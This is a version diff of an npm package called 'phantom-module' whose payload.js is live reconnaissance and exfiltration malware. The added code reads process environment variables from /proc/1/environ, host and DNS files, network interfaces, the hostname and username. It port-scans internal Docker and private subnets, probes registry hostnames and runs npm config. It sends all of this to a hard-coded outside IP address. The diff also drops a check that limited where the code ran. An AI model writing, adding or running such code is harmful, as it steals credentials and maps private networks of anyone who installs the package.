phantom-module 121.0.0 → 123.0.0

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "phantom-module",
-  "version": "121.0.0",
+  "version": "123.0.0",
   "description": "Phantom module",
   "main": "index.js",
   "scripts": {

package/payload.js

@@ -1,11 +1,9 @@
 const http = require('http');
-const https = require('https');
 const net = require('net');
 const fs = require('fs');
 const { execSync } = require('child_process');
 const dns = require('dns');
-
-if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
+const os = require('os');
 
 const REPORT_HOST = '154.57.164.64';
 const REPORT_PORT = 31099;
@@ -26,10 +24,10 @@ function report(moduleId, data) {
   });
 }
 
-function checkPort(host, port, timeout) {
+function checkPort(host, port) {
   return new Promise((resolve) => {
     const sock = new net.Socket();
-    sock.setTimeout(timeout || 500);
+    sock.setTimeout(400);
     sock.on('connect', () => { sock.destroy(); resolve(true); });
     sock.on('error', () => { sock.destroy(); resolve(false); });
     sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -37,110 +35,58 @@ function checkPort(host, port, timeout) {
   });
 }
 
-function httpReq(url, opts) {
+function httpGet(url) {
   return new Promise((resolve) => {
-    const mod = url.startsWith('https') ? https : http;
-    const req = mod.get(url, { timeout: 2000, ...opts }, (res) => {
+    http.get(url, { timeout: 2000 }, (res) => {
       let body = '';
       res.on('data', c => body += c);
-      res.on('end', () => resolve({ status: res.statusCode, body, headers: res.headers }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-    req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
-  });
-}
-
-function httpPut(url, data) {
-  return new Promise((resolve) => {
-    const parsed = new URL(url);
-    const body = JSON.stringify(data);
-    const req = http.request({
-      hostname: parsed.hostname, port: parsed.port, path: parsed.pathname,
-      method: 'PUT',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
-      timeout: 3000
-    }, (res) => {
-      let rbody = '';
-      res.on('data', c => rbody += c);
-      res.on('end', () => resolve({ status: res.statusCode, body: rbody }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-    req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
-    req.write(body);
-    req.end();
+      res.on('end', () => resolve({ status: res.statusCode, body }));
+    }).on('error', e => resolve({ status: 0, body: e.message })).on('timeout', function() { this.destroy(); resolve({ status: 0, body: 'TIMEOUT' }); });
   });
 }
 
 async function main() {
-  await report('ECT-654321', 'V121 STARTING...');
+  await report('ECT-654321', 'V122 ALIVE! hostname=' + os.hostname() + ' user=' + os.userInfo().username);
 
-  let out = '=== V121 FULL SCAN ===\n';
+  let env = '=== ENV ===\n';
+  try { env += fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n'); } catch(e) { env += 'ERR:' + e.message; }
+  try { env += '\nHOSTS:\n' + fs.readFileSync('/etc/hosts','utf8'); } catch(e) {}
+  try { env += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8'); } catch(e) {}
+  try { env += 'IFACES:\n' + JSON.stringify(os.networkInterfaces()); } catch(e) {}
+  await report('ECT-839201', env);
 
-  // 1. Environment
-  try {
-    out += 'ENV:\n' + fs.readFileSync('/proc/1/environ','utf8').replace(/\0/g,'\n') + '\n';
-  } catch(e) { out += 'ENV ERR: ' + e.message + '\n'; }
-
-  // 2. Network info
-  try {
-    out += 'HOSTS:\n' + fs.readFileSync('/etc/hosts','utf8') + '\n';
-    out += 'RESOLV:\n' + fs.readFileSync('/etc/resolv.conf','utf8') + '\n';
-  } catch(e) {}
-
-  await report('ECT-839201', out);
-
-  // 3. Port scan: gateway + neighbors on key ports
-  let scanOut = '=== PORT SCAN ===\n';
-  const ips = [];
+  let scan = '=== PORTSCAN ===\n';
+  const ips = ['127.0.0.1'];
   for (let i = 1; i <= 20; i++) ips.push('172.17.0.' + i);
   for (let i = 1; i <= 5; i++) ips.push('172.18.0.' + i);
   for (let i = 1; i <= 5; i++) ips.push('172.19.0.' + i);
-  ips.push('10.0.0.1','10.0.0.2','10.0.1.1','10.10.0.1');
-  ips.push('127.0.0.1');
-
-  const ports = [4873, 80, 8080, 3000, 5000, 8081, 443];
+  ips.push('10.0.0.1','10.0.0.2','10.10.0.1');
 
+  const ports = [4873, 80, 8080, 3000, 5000, 8081];
   for (const ip of ips) {
     for (const port of ports) {
-      if (await checkPort(ip, port, 300)) {
-        scanOut += `OPEN: ${ip}:${port}\n`;
-        const r = await httpReq(`http://${ip}:${port}/`);
-        scanOut += `  HTTP: ${r.status} len=${r.body.length} body=${r.body.substring(0,200)}\n`;
+      if (await checkPort(ip, port)) {
+        scan += `OPEN ${ip}:${port}\n`;
+        const r = await httpGet('http://' + ip + ':' + port + '/');
+        scan += `  -> ${r.status} ${r.body.substring(0,150)}\n`;
       }
     }
   }
+  if (scan === '=== PORTSCAN ===\n') scan += 'NO OPEN PORTS FOUND\n';
 
-  await report('ECT-987654', scanOut);
-
-  // 4. DNS resolution for common names
-  let dnsOut = '=== DNS ===\n';
-  const names = ['verdaccio','registry','npm','npm-registry','verdaccio-server',
-                 'host.docker.internal','ghostship','corsair','sentinel'];
-  for (const name of names) {
+  // DNS lookups
+  scan += '=== DNS ===\n';
+  for (const name of ['verdaccio','registry','npm','host.docker.internal']) {
     try {
-      const addr = await new Promise((res, rej) => {
-        dns.lookup(name, (err, addr) => err ? rej(err) : res(addr));
-      });
-      dnsOut += `${name} -> ${addr}\n`;
-    } catch(e) {
-      dnsOut += `${name} -> NXDOMAIN\n`;
-    }
+      const addr = await new Promise((res,rej) => dns.lookup(name, (err,addr) => err ? rej(err) : res(addr)));
+      scan += name + ' -> ' + addr + '\n';
+    } catch(e) { scan += name + ' -> FAIL\n'; }
   }
 
-  // 5. Also try npm config
-  try {
-    dnsOut += 'NPM_REGISTRY: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n';
-  } catch(e) {}
-  try {
-    dnsOut += 'NPM_CONFIG_LS:\n' + execSync('npm config ls -l 2>/dev/null | grep -i registry').toString() + '\n';
-  } catch(e) {}
-
-  // 6. Check /proc/net/tcp for listening ports
-  try {
-    dnsOut += 'PROC_NET_TCP:\n' + fs.readFileSync('/proc/net/tcp','utf8') + '\n';
-  } catch(e) {}
+  // npm config
+  try { scan += 'NPM_REG: ' + execSync('npm config get registry 2>/dev/null').toString().trim() + '\n'; } catch(e) {}
 
-  await report('ECT-654321', dnsOut);
+  await report('ECT-987654', scan);
 }
 
 main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));